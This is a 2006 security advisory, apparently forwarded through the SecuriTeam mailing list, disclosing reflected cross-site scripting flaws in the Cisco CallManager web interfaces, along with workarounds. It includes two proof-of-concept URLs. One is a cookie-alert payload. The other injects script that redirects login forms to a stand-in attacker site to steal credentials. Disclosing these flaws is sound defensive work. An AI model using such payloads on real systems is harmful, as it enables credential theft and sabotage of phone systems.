From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 20 Jun 2006 12:33:21 +0200
Subject: [NEWS] Cisco CallManager XSS
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Cisco CallManager XSS
------------------------------------------------------------------------
SUMMARY
" <http://www.cisco.com/en/US/products/sw/voicesw/ps556/index.html>; Cisco
Unified CallManager software is the call-processing component of the Cisco
Unified Communications system. "
Improper handling of user input allows attackers to cause XSS code in
Cisco CallManage.
DETAILS
Vulnerable Systems:
* Cisco CallManager version 3.1 and above
The web interface used to administer Cisco CallManager software suffers
from a lack of input validation and output encoding. As a result, an
attacker could craft a request that causes the CallManager web interface
to include malicious JavaScript in its response. If a victim can be made
to submit this specially crafted request, the response will be processed,
and the malicious JavaScript payload executed in the browser of the
victim.
If such a request is provided to CallManager administrators (either in an
email or embedded in an html resource using something like an automatic
redirect) an attacker can perform a variety of nefarious actions.
Depending on the scripted payload, these attacks are commonly referred to
as cross-site scripting (XSS), session riding, and cross-site request
forgery (CSRF). Potential threats that can be realized through these
vulnerabilities could include but are not limited to:
* Deletion of phone system components such as devices, partitions,
calling search spaces, etc
* Reconfiguration of phone system components such as route plans, global
directory, services, etc
* Theft of global directory user credentials
* Theft of "Cisco CallManager User Options" credentials or session token
leading to user identity
spoofing within that specific interface of CallManager (Utilization of the
stolen credentials or session tokens would require direct connectivity to
CallManager.)
The web interfaces used to administer Cisco CallManager exhibit input
validation/output encoding vulnerabilities throughout the applications.
Specifically, the "Cisco CallManager Administration" and "Cisco
CallManager User Options" interfaces contain multiple instances of these
vulnerabilities. This advisory will focus on a subset of those
vulnerabilities that allow attack execution from an unauthenticated
perspective. Not all vulnerability instances will be included.
The "Cisco CallManager Administration"
(http://CallManagerAddress/ccmadmin/) web interface contains parameters
that have their user-supplied input returned in subsequent responses
without being properly encoded. Although this interface requires basic
authentication before access to the vulnerable parameters is granted, the
original request will be sent to the server after successful
authentication. Thus, reflected script injection is possible if the
attacker can lure a CallManager administrator into entering their
credentials upon being presented with the basic authentication box.
The URL below takes advantage of the vulnerable "pattern" parameter that
returns user-supplied input at several points within the subsequent
responses.
http://CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert(document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList=
A simple proof of concept script has been written that utilizes XMLHTTP to
search for devices and delete them from the CallManager configuration.
Prior knowledge of the CallManager configuration would allow for more
savvy attacks that could intelligently reconfigure the phone system.
The "Cisco CallManager User Options" (http://CallManagerAddress/ccmuser/)
web interface also contains vulnerable parameters. Most notably, arbitrary
parameters included in requests to /ccmuser/logon.asp are returned by the
application without proper input validation or output encoding. The URL
below takes advantage of this behavior by appending the parameter
"MadeUpParameter", escaping the form included in the response, and
rewriting all form actions to point to an attacker site that collects all
input. The application seems to remove the '+' character used to
post-increment the loop counter so URL hex encoding (%2B) was used to
obfuscate it.
http://CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for (i=0;i<document.forms.length; i%2B%2B)document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!--
By luring phone system users into making the above request and logging in,
an attacker can steal their credentials.
Prerequisites: In all cases, there is some prerequisite information that
an attacker must have. The address of the CallManager is obviously a
necessity in order to correctly craft malicious requests.
This could be easily gained internally by viewing the network
configuration on the IP phones that register with the targeted CallManager
unless the display of this information has been disabled.
Social engineering could allow an attacker to gain this information from
inside or outside of the organization. It is important to note that while
the address of the target CallManager is required, the attacker does not
require connectivity. Reflected script injection attacks only require that
the victim has connectivity to the vulnerable application, since the
victim is the entity that makes the malicious request, causing unwanted
execution of the script included in the vulnerable server's response.
Any intelligent reconfiguration of Cisco CallManager using CSRF attacks as
mentioned above would require knowledge of the current CallManager
configuration. However, a significant amount of damage could be inflicted
by an XMLHTTP-based script that searches for and deletes all devices
without prior
knowledge of the current CallManager configuration.
Exploitation of the "Call Manager User Options" logon page does not
require connectivity to the target CallManager. However, the use of stolen
credentials gained through such an attack would require connectivity to a
system that utilizes them. This system, in many cases might only be the
CallManager itself. However, in the case of CallManager integration with
another directory such as iPlanet or Active directory, credential theft
could lead to an attacker gaining access to many other services.
Workarounds:
* Upgrade Software When Fixes Become Available - Cisco has stated that
future releases of all trains of Cisco CallManager will contain fixes for
these vulnerabilities.
* Restrict Network Connectivity to CallManager Interfaces - During
discovery, it was noted that several organizations had their CallManager
administration interfaces exposed to the Internet. Simple Google queries
are all an attacker needs in this case to obtain the target CallManager
address. There are few compelling reasons one could present that would
justify public access to CallManager web interfaces.
* Treat Sensitive/Critical Interfaces as Sensitive & Critical -
Information about the specifics of the CallManager configuration should be
kept confidential. Access to the various CallManager interfaces should be
as restrictive as possible. Although these attacks do not require an
attacker to have connectivity to the vulnerable application, restriction
of this access still serves to limit attack vectors by limiting the amount
of potential victims.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:Jake.Reynolds@fishnetsecurity.com.> Reynolds, Jake.
The original article can be found at:
<http://www.fishnetsecurity.com/csirt/disclosure/cisco/Cisco+CallManager+XSS+Advisory.htm> http://www.fishnetsecurity.com/csirt/disclosure/cisco/Cisco+CallManager+XSS+Advisory.htm
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